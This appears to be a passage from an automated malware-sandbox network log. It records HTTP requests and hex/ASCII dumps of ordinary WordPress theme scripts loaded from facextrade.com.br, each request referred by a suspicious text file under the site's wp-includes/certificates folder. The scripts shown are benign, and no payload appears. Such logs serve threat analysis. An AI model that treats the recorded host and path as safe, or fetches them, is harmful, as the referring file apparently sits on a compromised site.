                                                              Age: 220
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69
                                                              Data Ascii: /*! device.js 0.1.58 */(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()||device.ipod()||device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")||d("bb10")||d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
                                                              Aug 16, 2022 10:33:27.639796972 CEST2414OUTGET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:27.873634100 CEST2421INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:49 GMT
                                                              Server: Apache
                                                              ETag: "a4f8b0-2f7e-58592c72eb640"
                                                              Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                              Content-Length: 12158
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337806 23530229
                                                              Age: 219
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72
                                                              Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.par
                                                              Aug 16, 2022 10:33:27.893098116 CEST2450OUTGET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.126878023 CEST2452INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:54 GMT
                                                              Server: Apache
                                                              ETag: "a53a52-14d5-58592d7651a40"
                                                              Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                              Content-Length: 5333
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337808 17824238
                                                              Age: 213
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09
                                                              Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){
                                                              Aug 16, 2022 10:33:28.130543947 CEST2457OUTGET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.365699053 CEST2480INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:44 GMT
                                                              Server: Apache
                                                              ETag: "a53a5c-5e2-58592d7651a40"
                                                              Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                              Content-Length: 1506
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337810 23495682
                                                              Age: 284
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20
                                                              Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
                                                              Aug 16, 2022 10:33:28.473766088 CEST2481OUTGET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.705982924 CEST2483INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:46 GMT
                                                              Server: Apache
                                                              ETag: "a53545-81a-58592d4a732c0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                              Content-Length: 2074
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337812 21783875
                                                              Age: 282
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20
